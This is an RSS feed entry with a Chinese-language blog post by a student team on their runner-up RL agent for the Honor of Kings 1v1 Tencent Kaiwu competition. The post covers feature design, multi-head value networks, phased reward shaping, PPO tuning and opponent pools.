<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet href="/scripts/pretty-feed-v3.xsl" type="text/xsl"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:h="http://www.w3.org/TR/html4/"><channel><title>Candlest 的博客</title><description>Candlest 的博客，记录CS/AI 与生活</description><link>https://blog.candlest.cc</link><item><title>26腾讯开悟RL赛区域决赛 Writeups</title><link>https://blog.candlest.cc/blog/ai/kaiwu/1v1</link><guid isPermaLink="true">https://blog.candlest.cc/blog/ai/kaiwu/1v1</guid><description>第二周周赛结束后，大概已经完成了能做的工作。</description><pubDate>Thu, 21 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;赛后整理版。部分实验数据尚未系统收集，后续会持续补充。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;最终文档&lt;/h1&gt;
&lt;h2&gt;一、简介&lt;/h2&gt;
&lt;p&gt;在 2026 年腾讯开悟强化学习比赛区域决赛中&lt;a href=&quot;#ref-2&quot;&gt;[2]&lt;/a&gt;，我们队伍最终提交了 P7 模型 &lt;strong&gt;「中山大学怎么可能是榜一 不行不行 或许可行」&lt;/strong&gt;，最终略输队伍「无 liao」6 分，屈居第二。&lt;/p&gt;
&lt;p&gt;比赛环境是王者荣耀 1v1，可选英雄为鲁班七号（hero_id=112）和狄仁杰（hero_id=133），共产生 4 组 matchup（鲁班 vs 鲁班、鲁班 vs 狄仁杰、狄仁杰 vs 鲁班、狄仁杰 vs 狄仁杰）。&lt;/p&gt;
&lt;p&gt;这一路从第一周的 P1，到第二周 P3，再到第三周 P4-P6，最后在决赛前收敛到 P7，我们的核心工作基本围绕五件事展开：特征、模型、奖励、对手池和训练稳定性。&lt;/p&gt;
&lt;p&gt;这次比赛给我的最大感受是，1v1 强化学习不是把网络做大、reward 堆满就能解决。&lt;/p&gt;
&lt;p&gt;模型训练的瓶颈经常不在 GPU，而在 rollout 数据的质量、环境理解、obs 调试、reward hacking、对手分布和评估闭环。&lt;/p&gt;
&lt;p&gt;尤其是到训练的后期，决定模型强度的往往不是某一个”trick”，而是能不能把已经学到的稳定行为保住，再用小学习率一点点推上去。&lt;/p&gt;
&lt;h2&gt;二、参赛概况&lt;/h2&gt;
&lt;p&gt;我们队伍在区域赛初赛是多人一起探索，但到最终决赛阶段，因为只能开一张卡，同时队友各自也有重要事情要处理，&lt;strong&gt;训练和调参&lt;/strong&gt;全权由Candlest 负责。同时，蔡宇亮队长进行了录像分析，同时他也将进行答辩资料的整理编写，也感谢队内其他忙碌的同学四周的陪伴和鼓励。&lt;/p&gt;
&lt;p&gt;比赛时间非常紧，很多实验没有做完整消融，很多数据也没有系统整理，所以这篇记录主要记录我的技术路线和一些直觉的且 work 的 idea。&lt;/p&gt;
&lt;p&gt;第一周我们以 P1 模型拿到了周赛第一。第二周尝试更激进的特征缩减和 reward 修改，但因为底层 observation 调试不充分，最终只拿到第三。第三周开始，我们基本确定了 P4 之后的主线：语义化 ABI、multi value head、WorldStateTracker、分阶段 reward、历史模型对手池。最终决赛阶段，P7 主要是在 P4-P6 的基础上做低学习率、低 entropy beta 和 reward 收敛。&lt;/p&gt;
&lt;h2&gt;三、网络设计&lt;/h2&gt;
&lt;p&gt;第一周 P1 的网络基本延续了 taichu 一类方案的思路&lt;a href=&quot;#ref-1&quot;&gt;[1]&lt;/a&gt;：保留 3910 维 raw feature，使用较简单的 reward 和 PPO&lt;a href=&quot;#ref-7&quot;&gt;[7]&lt;/a&gt; 训练。这个模型结构不复杂，但胜在稳定。我们在 512 batch size 下训练约 24 小时、45708 步，拿到了第一次周赛第一。&lt;/p&gt;
&lt;p&gt;一开始我们为了处理四组对局差异，引入过 adapter。后来发现 adapter 容易把模型拆成四个相对孤立的小模型，不同 matchup 的 policy 水平差距很大。第二周 P3 之后，我们把 adapter 弱化成 matchup context，也就是告诉共享模型”当前是哪一组对局”，而不是让每组对局各自长出一套策略。&lt;/p&gt;
&lt;p&gt;中期我们训练过一个 11k 维特征模型，但它收敛非常慢，24 小时也打不过 common AI。这个实验基本让我确认：这个任务不是靠堆特征维度 scaling 解决的。强化学习瓶颈不只是模型参数量，还有 CPU rollout 和样本效率。&lt;/p&gt;
&lt;p&gt;P4 以后，我们确定了最终比较稳定的结构：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;feature_dim = 2904
sample_dim = 50640
legal_action_dim = 85
raw_legal_dim = 184
policy_heads = [12, 16, 16, 16, 16, 9]
value_heads = 7
LSTM = 16 x 512
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;模型主体是语义化对象 token + object attention + LSTM + matchup context + target attention。target 不再是一个脱离对象的 9 分类，而是绑定到候选目标：敌方英雄、自己、4 个敌方小兵、敌方塔、fallback 等。这个设计比单纯全局 MLP 输出 target 更符合动作结构&lt;a href=&quot;#ref-4&quot;&gt;[4]&lt;/a&gt;&lt;a href=&quot;#ref-5&quot;&gt;[5]&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;具体来说，前向传播流水线如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Feature (2904-dim)
  → 12 个 Block Encoder (per-block MLP, hidden 64/128 → token_dim=128)
  → Token Type Embedding + Position Encoding
  → 1-layer 4-head Transformer Encoder (d_model=128, ff=512)
  → Object Attention Scoring (soft-attention pooling → 128-dim frame_context)
  → Frame MLP → LSTM input (512-dim)
  → LSTM (512-dim, 1 layer, 16 time steps)
  → Frame Bypass MLP (残差连接绕过 LSTM) + LSTM output → concat → MLP
  → Matchup Context MLP (state + matchup token → policy/value state)
  → Policy Heads:
      - button MLP → [12] logits
      - 4× param MLP → [16] logits each
      - target attention (query-key scoring, embed_dim=32) → [9] logits
  → Value Head: MLP → [7] components
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中 Block Encoder 对每种对象类型（英雄、小兵、塔、子弹、事件、belief 等）使用独立的 MLP 编码器，将不同宽度的 raw block 统一映射到 128 维 token。Transformer Encoder 负责对象间的 self-attention 交互。Target Attention 不使用全局 MLP 输出 target，而是让 policy state 作为 query、各候选目标 token 作为 key，通过 scaled dot-product attention 得到 target logits，使得 target 选择直接与对象表征绑定。&lt;/p&gt;
&lt;p&gt;multi value head 是 P4-P7 阶段的重要改动。最终 value component 分成：&lt;/p&gt;
&lt;p&gt;| Component | Loss Weight | 对应 Reward 来源 |
|---|---|---|
| total | 1.00 | 所有 reward component 加权和 |
| hp | 0.20 | 英雄换血 |
| economy | 0.08 | 经济、血包 |
| tower | 0.25 | 塔 HP 交换、推塔终结 |
| kill_death | 0.12 | 击杀/死亡 |
| last_hit | 0.06 | 补刀 |
| risk | 0.02 | 低血压力、血包遗漏 |&lt;/p&gt;
&lt;p&gt;不同 reward 来源的尺度和含义差异很大，单 value head 容易互相污染。拆成多个 value head 后，模型上限明显更高，也更方便监控哪类回报学坏了。&lt;/p&gt;
&lt;h2&gt;四、奖励体系&lt;/h2&gt;
&lt;p&gt;第一周我们用的是比较简单的 reward。第二周我尝试过更激进的 reward shaping&lt;a href=&quot;#ref-10&quot;&gt;[10]&lt;/a&gt;，但后来发现这非常容易被 hacking。比如直接奖励某个动作，会诱导模型空 A 或乱放技能；直接放大推塔，会诱导无兵线强推；低血惩罚太强，又可能让模型变得过度保守。&lt;/p&gt;
&lt;p&gt;P4-P6 之后，我们开始采用随时间变化的 reward。前期更强调经济和补刀，中后期逐步提高塔、击杀、死亡、换血等真实胜负相关信号。最终 P7 还引入了 matchup phase table，不同对局使用不同的 focus frame 和 ramp frame。这样做的原因是四组对局节奏确实不同，但我们不想回到 adapter 那种”四个孤立模型”的路线。&lt;/p&gt;
&lt;p&gt;Phase reward 的核心参数：以 &lt;code&gt;focus_frame=1200&lt;/code&gt;（约 40 秒）为分界，经过 &lt;code&gt;ramp_frame=3600&lt;/code&gt;（约 120 秒）线性过渡到后期权重。各项 phase multiplier 如下：&lt;/p&gt;
&lt;p&gt;| 项目 | Early | Late | 含义 |
|---|---|---|---|
| economy | 1.6 | 0.35 | 前期重视经济积累，后期降低 |
| enemy_tower | 0.55 | 1.6 | 前期不鼓励强推，后期逐步提升 |
| positive_trade | 0.8 | 0.8 | 赚血交易保持稳定 |
| negative_trade | 0.9 | 1.0 | 亏血惩罚后期略增 |
| kill | 0.7 | 0.9 | 击杀奖励后期提升 |
| death | 1.0 | 1.15 | 死亡惩罚后期加重 |&lt;/p&gt;
&lt;p&gt;P7 最终 reward 权重大致为：&lt;/p&gt;
&lt;p&gt;| Component | Weight |
|---|---|
| enemy_tower_hp | 5.0 |
| self_tower_hp | 5.0 |
| hero_hp_trade | 1.6 |
| hero_kill_death | 4.5 |
| money_exp | 1.2 |
| last_hit | 1.4 |
| cake_enemy | 1.2 |
| cake_self_low_hp | 2.0 |
| low_hp_enemy_pressure | 0.25 |
| low_hp_self_cake_missed | 1.0 |
| tower_safe_push | 0.6 |
| tower_terminal | 3.0 |&lt;/p&gt;
&lt;p&gt;决赛阶段，我受到一篇 reward shaping 论文&lt;a href=&quot;#ref-10&quot;&gt;[10]&lt;/a&gt;启发，开始重新理解 reward 的作用：它不是为了描述所有规则，而是在训练过程中帮模型区分“一般动作”和“好动作”。于是我们没有继续盲目堆权重，而是做了一组 episode-level 的 gated behavior classifiers：&lt;/p&gt;
&lt;p&gt;| Classifier | 判定维度 |
|---|---|
| gwin_cls | 是否健康地赢下对局（而非靠运气或 bug） |
| tower_cls | 是否有塔差优势（推塔 vs 被推） |
| econ_cls | 经济是否领先（金币、经验） |
| farm_cls | 补刀是否有效（last hit 效率） |
| fight_cls | 战斗是否占优（换血、击杀交换比） |
| surv_cls | 低血是否干净生存（没有不必要的死亡） |
| cake_cls | 血包获取行为是否发生 |
| push_cls | 安全推进是否真正执行 |&lt;/p&gt;
&lt;p&gt;这些指标是 episode-level 的行为诊断，不直接等价于每帧 reward gate。它让我们调 reward 的时候不再只看总 reward，而是能看模型到底在哪个行为维度变好了或变坏了。&lt;/p&gt;
&lt;h2&gt;五、特征与规则&lt;/h2&gt;
&lt;p&gt;前期我们对环境 observation 的调试不够重视，导致很多底层代码不够可靠，有些字段是在不确定语义下使用的，甚至有些地方用了 hash bucket。第二周吃亏之后，我们把重点转向 feature 语义和协议调试。&lt;/p&gt;
&lt;p&gt;P4 以后，我们确认了 2904 维语义化 ABI，并在后续两周基本保持稳定。特征从”raw feature 越多越好”转向”每个字段都要知道来源、尺度、可见性、缺失值和目标含义”。对象包括英雄、小兵、塔、血包、子弹、事件、belief token 和 matchup context。&lt;/p&gt;
&lt;p&gt;2904 维的具体分配如下：&lt;/p&gt;
&lt;p&gt;| 类别 | Block | 维度 |
|---|---|---|
| 全局 | global_state | 128 |
| 对局 | matchup_context | 32 |
| 英雄 | self_hero, enemy_hero | 160 × 2 |
| 敌方目标小兵 | enemy_target_soldiers | 96 × 4 |
| 敌方上下文小兵 | enemy_context_soldiers | 80 × 4 |
| 友方小兵 | self_soldiers | 80 × 4 |
| 中立 | neutral | 96 |
| 塔 | self_tower, enemy_tower | 96 × 2 |
| 血包 | self_cake, enemy_cake | 48 × 2 |
| 英雄子弹 | enemy_hero_bullets | 32 × 9 |
| 塔子弹 | enemy_tower_bullets | 32 |
| 未知子弹 | unknown_bullets | 32 × 2 |
| 命中事件 | hit_events | 32 × 4 |
| 死亡事件 | death_events | 32 × 2 |
| 补刀事件 | last_hit_events | 32 × 4 |
| 塔仇恨事件 | tower_aggro_events | 32 × 2 |
| Belief: 敌人记忆 | belief_enemy_last_seen | 32 |
| Belief: 血包重生 | belief_self/enemy_cake_respawn | 24 × 2 |
| Belief: 兵线节奏 | belief_lane_tempo | 32 |
| Belief: 近期战斗 | belief_recent_combat | 40 |
| Belief: 战术阶段 | belief_tactical_phase | 32 |
| Belief: 动作记忆 | belief_action_memory | 64 |&lt;/p&gt;
&lt;p&gt;每个对象 token 的第一个字段是 valid flag（是否存在），第二个字段是 visible flag（是否可见）。对于 belief token，还额外包含 confidence（基于 age 的 tau-decay）和 target_eligible 等元信息。&lt;/p&gt;
&lt;p&gt;WorldStateTracker 是另一个关键点。我们 debug 后意识到仿真环境大约 30fps，而 LSTM 16 帧只覆盖很短时间，难以记住血包刷新、敌人 last seen、兵线压力、近期交战和安全撤退窗口。所以我们做了一个简单的全局世界记忆，把这些长时状态显式写进 belief token。&lt;/p&gt;
&lt;p&gt;WorldStateTracker 内部由 6 个子 tracker 组成：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;EnemyLastSeenTracker&lt;/strong&gt;：追踪敌方英雄最后可见位置、HP/EP 比率、技能 CD 摘要。使用 tau-decay（tau=150 帧 ≈ 5 秒）指数衰减置信度，超过 300 帧（10 秒）后 expire 归零。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CakeRespawnTracker&lt;/strong&gt;：分别追踪自己侧和敌方侧血包。记录消失帧，基于 2250 帧（75 秒）的固定周期预测重生时间，输出 ETA、可用状态、taker side 等。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;LaneTempoTracker&lt;/strong&gt;：计算友方/敌方兵线 HP 总和差值作为压力信号，维护 30 帧（1 秒）和 90 帧（3 秒）滑动窗口的均值和标准差。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CombatEventTracker&lt;/strong&gt;：记录 dealt/taken damage 事件流，在 15 帧和 60 帧窗口内累积伤害量，追踪最近一次交战、被攻击和被塔仇恨的帧号。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TacticalPhaseTracker&lt;/strong&gt;：综合低血状态（HP &amp;#x3C; 35%）、安全撤退评分和反击窗口（输出 &gt; 受伤且 HP &gt; 35%）三个信号。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ActionMemoryTracker&lt;/strong&gt;：记录最近 30/90 帧的按钮频率直方图（12 维）和非法动作率，帮助模型感知自身近期行为模式。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;规则侧我们也做了一些必要的前后处理：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;固定召唤师技能，减少无意义策略空间。&lt;/li&gt;
&lt;li&gt;对 raw legal action 184 维和压缩后 85 维做统一处理。&lt;/li&gt;
&lt;li&gt;target contract 不再 silent fallback。如果 target_legal &amp;#x26; target_candidate_valid 为空，就记录 violation，并隔离 target-head 训练权重。&lt;/li&gt;
&lt;li&gt;对低血血包、安全推塔、敌方压力、小兵 runtime id 顺序等做监控。&lt;/li&gt;
&lt;li&gt;强化普攻识别逻辑保留，但最终没有把 enhanced_attack_hit 作为 actor reward，避免再次诱导动作级 reward hacking。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;六、强化学习算法&lt;/h2&gt;
&lt;p&gt;算法主体一直是 PPO&lt;a href=&quot;#ref-7&quot;&gt;[7]&lt;/a&gt;，没有在最终阶段切到 BPO&lt;a href=&quot;#ref-11&quot;&gt;[11]&lt;/a&gt;。指导老师沈老师给过一篇 BPO 论文&lt;a href=&quot;#ref-11&quot;&gt;[11]&lt;/a&gt;，我们也研究了 advantage normalization、低 LR、低 entropy 等设置&lt;a href=&quot;#ref-7&quot;&gt;[7]&lt;/a&gt;&lt;a href=&quot;#ref-8&quot;&gt;[8]&lt;/a&gt;。但 BPO 使用动作联合分布，而这个比赛里的动作是结构化多头动作。腾讯自己的论文&lt;a href=&quot;#ref-4&quot;&gt;[4]&lt;/a&gt;&lt;a href=&quot;#ref-5&quot;&gt;[5]&lt;/a&gt;也强调动作结构化，减少无谓的、缺乏因果性的探索。赛末时间太紧，我们没有把风险押在替换算法主体上。&lt;/p&gt;
&lt;p&gt;真正收益最大的算法调参是降低学习率和 entropy beta。我们参考了 OpenAI 训练 Dota 模型&lt;a href=&quot;#ref-9&quot;&gt;[9]&lt;/a&gt;时后期调小 lr 和 beta 的经验。P7 最终代码里是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;INIT_LEARNING_RATE_START = 1e-5
TARGET_LR = 3e-6
TARGET_STEP = 12000
BETA_START = 0.001
GAMMA = 0.995
LAMDA = 0.95
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;低 LR 的效果非常明显。模型不是从零学习，而是在已有强策略附近做小步 fine-tune。高学习率容易把已经学到的稳定行为冲掉；低 beta 则减少后期无意义探索，让 policy 更集中。&lt;/p&gt;
&lt;p&gt;我们曾经用 lr=1e-5 训练约 3 小时、22k 步，policy 明显压过第三周模型。&lt;/p&gt;
&lt;h2&gt;七、系统工程架构&lt;/h2&gt;
&lt;p&gt;系统工程上，我们最大的工作是把“训练是否健康”变成可观察的东西。早期我们做了 monitor fetch 脚本，直接从腾讯开悟网页端训练监控 API&lt;a href=&quot;#ref-2&quot;&gt;[2]&lt;/a&gt; 拉曲线。后面 P4 之后扩展了大量监控：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;feature finite / nonzero / saturation / padding leak&lt;/li&gt;
&lt;li&gt;object valid token mean&lt;/li&gt;
&lt;li&gt;target attention entropy&lt;/li&gt;
&lt;li&gt;target candidate valid rate&lt;/li&gt;
&lt;li&gt;target contract violation rate&lt;/li&gt;
&lt;li&gt;action target illegal rate&lt;/li&gt;
&lt;li&gt;reward raw / weighted component&lt;/li&gt;
&lt;li&gt;value component loss&lt;/li&gt;
&lt;li&gt;PPO ratio / clip fraction / approx KL&lt;/li&gt;
&lt;li&gt;matchup sample rate 和 matchup outcome&lt;/li&gt;
&lt;li&gt;low hp、cake、安全推塔、兵线压力等行为指标&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;我们还做了本地 runtime smoke 流程，把远端 Kaiwu runtime&lt;a href=&quot;#ref-2&quot;&gt;[2]&lt;/a&gt; 打包拉回本地，至少能在推到平台前发现 import、shape、sample ABI、monitor contract 这类低级错误。这不能替代官方环境，但能少浪费很多远端 debug 时间。&lt;/p&gt;
&lt;p&gt;另外，后期训练加入了 opponent ladder。最终 P7 的对手池是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;model_pool = [284261, 283930]
train mix = 284261 / 283930 / selfplay = 0.20 / 0.20 / 0.60
eval cycle = common_ai, 284261, 283930
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;历史模型不是为了固定训练套路，而是给 selfplay 一个锚点，防止分布漂移和 policy 坍塌。&lt;/p&gt;
&lt;h2&gt;八、模型迭代过程&lt;/h2&gt;
&lt;h3&gt;第一次周赛（26.05.11）&lt;/h3&gt;
&lt;p&gt;第一次周赛（模型 p1），我们仿照 &lt;a href=&quot;https://github.com/wty-yy/kaiwu_taichu&quot;&gt;taichu&lt;/a&gt;&lt;a href=&quot;#ref-1&quot;&gt;[1]&lt;/a&gt; 的思路，保持 raw feature 和 3910 维度特征，使用简单的奖励，在 512 的 batchsize 下训练 24 小时 45708 步，拿到了第一名的成绩。&lt;/p&gt;
&lt;p&gt;对于四组对局不同的问题，我忘了 taichu 怎么解决的了，我们最初引入了 adapter 来尝试解决这个问题，但是发现会把模型变成四个孤立的小模型，四组对局不同的情况下，模型 policy 水平有着很大的不同。&lt;/p&gt;
&lt;p&gt;我们又训练了一个 11k 维度的模型，但是这个模型收敛速度慢到令人发指，且训练 24 小时也打不过 common ai，我们没有那么大的算力去 scaling。（这里的算力特指 cpu，强化学习需要 rollout 的数据来源）&lt;/p&gt;
&lt;p&gt;第一次周赛后，官方发了三个 baseline，我们的模型可以打过前两个 baseline 但是却打不过第三个。&lt;/p&gt;
&lt;p&gt;P2 是过渡版本，主要尝试了 11k 维特征和 adapter 的不同配置，未正式提交周赛。它的价值在于让我们确认了&quot;堆特征维度&quot;这条路走不通。&lt;/p&gt;
&lt;h3&gt;第二次周赛（26.05.18）&lt;/h3&gt;
&lt;p&gt;第二次周赛（模型p3），首先我把 adapter 只是换成了 context 告诉模型你现在是处在哪种对局。&lt;/p&gt;
&lt;p&gt;我已经认识到了 &lt;a href=&quot;https://github.com/wty-yy/kaiwu_taichu&quot;&gt;taichu&lt;/a&gt;&lt;a href=&quot;#ref-1&quot;&gt;[1]&lt;/a&gt; 的 feature 的不合理之处。官方的模型都是很小的模型，却有着很好的效果，说明根本不需要这么多特征。况且我已经观察到了 raw feature 对训练稳定性的负面影响，在阅读了几篇论文后，我决心缩减特征并采取归一化。但是由于我们前期并没有重视环境 obs 的调试，我们的底层很多代码都是错误的，或者在不能确定下使用了 hash 桶。同时对奖励进行了一些激进的，容易被 hacking 的修改，最终只拿到了第三名的成绩。&lt;/p&gt;
&lt;h3&gt;第三次周赛（26.05.25）&lt;/h3&gt;
&lt;p&gt;第三次周赛（模型 p4-p6），我们采取了随时间线性衰减/递增的 reward，并反复确认他们不会被 hacking。&lt;/p&gt;
&lt;p&gt;同时确认了 2904 维语义化 ABI，并在接下来的两周保持不变。&lt;/p&gt;
&lt;p&gt;同时在模型上，我们引入了 multi value head（total, hp, economy, tower, kill_death, last_hit, risk），分别学习不同类型的 reward。事实证明这能让我们的模型有着更高的上限。&lt;/p&gt;
&lt;p&gt;同时我注意到 LSTM 16 帧只有 1 秒左右的记忆（经过 debug，我们意识到仿真环境里面是 30fps），那没办法了，我仿照初赛的实践，同时参考了一些在具身科研里面见到的手法，做了简单的全局世界记忆。WorldStateTracker&lt;/p&gt;
&lt;p&gt;同时引入了前期探索的几个效果中规中矩的模型（比如第一周和第二周周赛的模型）进行 train 和 eval，并采取 cur learning 阶梯训练的措施，在中前期引导其稳定学习。&lt;/p&gt;
&lt;p&gt;当模型能够以大于 0.5 的比率打赢早期模型后，我们将 train 比例固定在 0.15 0.15 0.7，在几次 reward 反复探索回溯后，我们一共训练了大概 165 小时，总共 354158 步。就是这样的模型，我们以被其他选手评价为「特别稳」的战斗风格拿下了卫冕了第三次周赛的前三。&lt;/p&gt;
&lt;p&gt;我们翻阅前几年队伍的文档经验&lt;a href=&quot;#ref-12&quot;&gt;[12]&lt;/a&gt;，发现调小学习率是一个瓶颈期的解决方案。于是我们尝试将学习率降到 lr=1e-5，同时指导老师沈老师也发来了一篇 bpo 的论文&lt;a href=&quot;#ref-11&quot;&gt;[11]&lt;/a&gt;（因为他采用动作联合分布，最终没有采用，因为腾讯自己那一篇论文&lt;a href=&quot;#ref-4&quot;&gt;[4]&lt;/a&gt;&lt;a href=&quot;#ref-5&quot;&gt;[5]&lt;/a&gt;说动作要结构化，减少无谓的，缺乏因果性的探索），然后训练了 3h，22k 步，我们的 policy 明显能够压倒性地战胜我们第三周的模型。&lt;/p&gt;
&lt;h3&gt;决赛（26.06.01）&lt;/h3&gt;
&lt;p&gt;第四次周赛，不对，没有周赛了也就是最终决赛。见识到了 lr 的威力，我开始深入研究 ppo 算法&lt;a href=&quot;#ref-7&quot;&gt;[7]&lt;/a&gt;的调参。最终在 openai 训练 dota 模型&lt;a href=&quot;#ref-9&quot;&gt;[9]&lt;/a&gt;中发现了他们调小 lr 和 beta 训练的 tricks。&lt;/p&gt;
&lt;p&gt;同时，指导老师也发来另外一篇论文，关于 reward shaping 的&lt;a href=&quot;#ref-10&quot;&gt;[10]&lt;/a&gt;，reward 的本质是作为监督信号帮助模型在训练过程中区分一般般的动作和好的动作。&lt;/p&gt;
&lt;p&gt;那么，我在思考，我们能不能 gate 一下我们的 reward ？ 好在之前的三周日夜不停的调参给了我一些直觉。&lt;/p&gt;
&lt;p&gt;同时我们在前期的训练里面也积累了一套可观测性的监控：做了 episode-level 的 gated behavior classifiers：
gwin_cls, tower_cls, econ_cls, farm_cls, fight_cls, surv_cls, cake_cls, push_cls。
它们用于判断 reward 是否真的对应健康行为，比如经济、补刀、推塔、生存、血包、安全推进，而不是盲调权重。&lt;/p&gt;
&lt;p&gt;经过 10 次的调参我们就收敛到一个比较优秀的 reward。&lt;/p&gt;
&lt;p&gt;同时我们定期引入 latest &amp;#x26; SOTA 模型，防止 policy 坍塌或者分布漂移&lt;/p&gt;
&lt;p&gt;我们低 LR 起步并继续衰减，同时显著降低 entropy beta，并最终把 beta 降到 0.001，提交了最终的模型「中山大学怎么可能是榜一不行不行或许可行」，训练总步数 551427。&lt;/p&gt;
&lt;p&gt;实际上，如果我们再有 24 小时，我们完全可以用 beta=0 的训练交一张更优秀的答卷，&lt;strong&gt;可惜时间不够&lt;/strong&gt;。&lt;/p&gt;
&lt;h2&gt;九、训练效果分析&lt;/h2&gt;
&lt;p&gt;P1 的收益来自简单稳定，但上限有限。P2/P3 的激进尝试证明，高维 raw feature 和不可靠 reward 很容易拖慢训练甚至带歪策略。P4-P6 的收益更扎实：语义化 ABI 提升了特征可靠性，multi value head 提升了上限，WorldStateTracker 补足了短 LSTM 的记忆缺陷，历史模型池让 selfplay 不至于漂得太远。&lt;/p&gt;
&lt;p&gt;P7 的收益来自 fine-tune 而不是重构。模型已经会玩后，低学习率和低 beta 比新增复杂结构更重要。最终模型的特点不是特别激进，而是稳定，坏交易少，低血行为更克制，推塔和经济之间更平衡。&lt;/p&gt;
&lt;p&gt;但这次仍有很多遗憾。我们没有完整消融 gated classifiers，也没有把每次 reward 调参都整理成表格。很多评估只存在平台记录或临时判断里，赛后复盘成本很高。&lt;/p&gt;
&lt;h2&gt;十、工作亮点、创新性及实用性&lt;/h2&gt;
&lt;p&gt;这次比赛的核心认知是：&lt;strong&gt;在这个任务上，模型架构不是瓶颈，奖励工程和训练策略才是。&lt;/strong&gt; 官方 baseline 都是很小的模型，却能表现很好。我们的创新也不在”提出新网络结构”，而在于怎么把简单的方案做到极致、做得稳。&lt;/p&gt;
&lt;h3&gt;创新一：Gated Behavior Classifiers —— 可解释的 reward 诊断&lt;/h3&gt;
&lt;p&gt;传统 reward 调参的困境是：改了权重，只能看总 reward 曲线涨没涨，但不知道模型到底在哪个行为维度变好了或变坏了。我们构建了一组 episode-level 的行为分类器（gwin, tower, econ, farm, fight, surv, cake, push），将 reward 调参从”盲调权重看总分”变成”分维度诊断行为健康度”。这不是直接 gate reward 本身，而是为 reward 调参提供可解释的反馈闭环。&lt;/p&gt;
&lt;p&gt;这套方法不依赖具体游戏规则，可以迁移到任何需要 reward engineering 的 RL 场景。&lt;/p&gt;
&lt;h3&gt;创新二：特征归一化与语义化 ABI —— 训练稳定性的基础设施&lt;/h3&gt;
&lt;p&gt;我们从 3910 维 raw feature 缩减到 2904 维语义化 ABI，核心改变不是维度，而是&lt;strong&gt;每个字段的来源、尺度、可见性和缺失值处理都是确定的&lt;/strong&gt;。配合系统的归一化（HP 用 power-0.25 曲线、距离按 map scale、CD 归一到 [-1,1]），消除了 raw feature 中量纲混乱、极端值、padding 泄漏等对训练稳定性的隐性伤害。&lt;/p&gt;
&lt;p&gt;这件事听起来不性感，但它是后续所有工作的前提。P2/P3 阶段的训练不稳定，很大程度上就是因为底层特征不可靠。&lt;/p&gt;
&lt;h3&gt;创新三：Curriculum 式训练策略 —— 从保守到激进，及时回撤&lt;/h3&gt;
&lt;p&gt;我们的训练过程本质上是一套 curriculum learning&lt;a href=&quot;#ref-13&quot;&gt;[13]&lt;/a&gt; 策略在 reward-opponent 空间上的应用：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;保守起步&lt;/strong&gt;：用简单 reward + common AI 对手，先学会基本操作和稳定行为。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;逐步引入难度&lt;/strong&gt;：加入历史强模型（P1/P3）作为对手，提高 selfplay 比例，同时引入 phase reward 让中后期信号逐渐变强。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;及时回撤&lt;/strong&gt;：当 gated classifiers 显示某个维度的行为退化（比如补刀变差或低血乱冲），回退 reward 权重或降低对手难度，而不是继续硬推。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;后期收敛&lt;/strong&gt;：用极低学习率（1e-5 → 3e-6）和极低 entropy beta（0.001）做 fine-tune，保住已学到的稳定策略，只在边际上推进。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这个过程不是我们一开始设计好的，而是在四周的反复试错中自然演化出来的。但回头看，它完整地符合 curriculum learning 的框架：由易到难、逐步扩展、失败时回退。&lt;/p&gt;
&lt;h3&gt;工程亮点&lt;/h3&gt;
&lt;p&gt;除了上述三个核心创新，还有几个工程层面值得提的点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Multi value head&lt;/strong&gt;：7 个 value component 分别学习不同尺度的 reward，减少互相污染，也让监控更精细。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WorldStateTracker&lt;/strong&gt;：用 6 个子 tracker 显式补全 LSTM 短记忆的不足。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Target contract&lt;/strong&gt;：不做 silent fallback，违约时记录 violation 并隔离 target-head 权重，防止模型从错误监督信号中学习。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;可观测性体系&lt;/strong&gt;：从 feature health 到 PPO diagnostics 到行为指标，把”训练是否健康”变成可监控的东西。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;十一、总结与展望&lt;/h2&gt;
&lt;p&gt;这次比赛从结果看还不错，但过程里有很多地方可以做得更好。最大教训是前期应该更早重视 obs 调试、feature 语义和评估闭环，而不是太早相信 reward 和网络改动。&lt;/p&gt;
&lt;p&gt;增加可观测性，即使发现错误的趋势并将其扭正。&lt;/p&gt;
&lt;h2&gt;参考文献&lt;/h2&gt;
&lt;p&gt;[1] wty-yy. kaiwu_taichu. GitHub repository. https://github.com/wty-yy/kaiwu_taichu&lt;/p&gt;
&lt;p&gt;[2] Tencent AI Arena. AI Arena Competition / Kaiwu Competition Documentation. https://aiarena.tencent.com/hok/doc/&lt;/p&gt;
&lt;p&gt;[3] Tencent AI Lab. Honor of Kings AI Open Environment. GitHub repository. https://github.com/tencent-ailab/hok_env&lt;/p&gt;
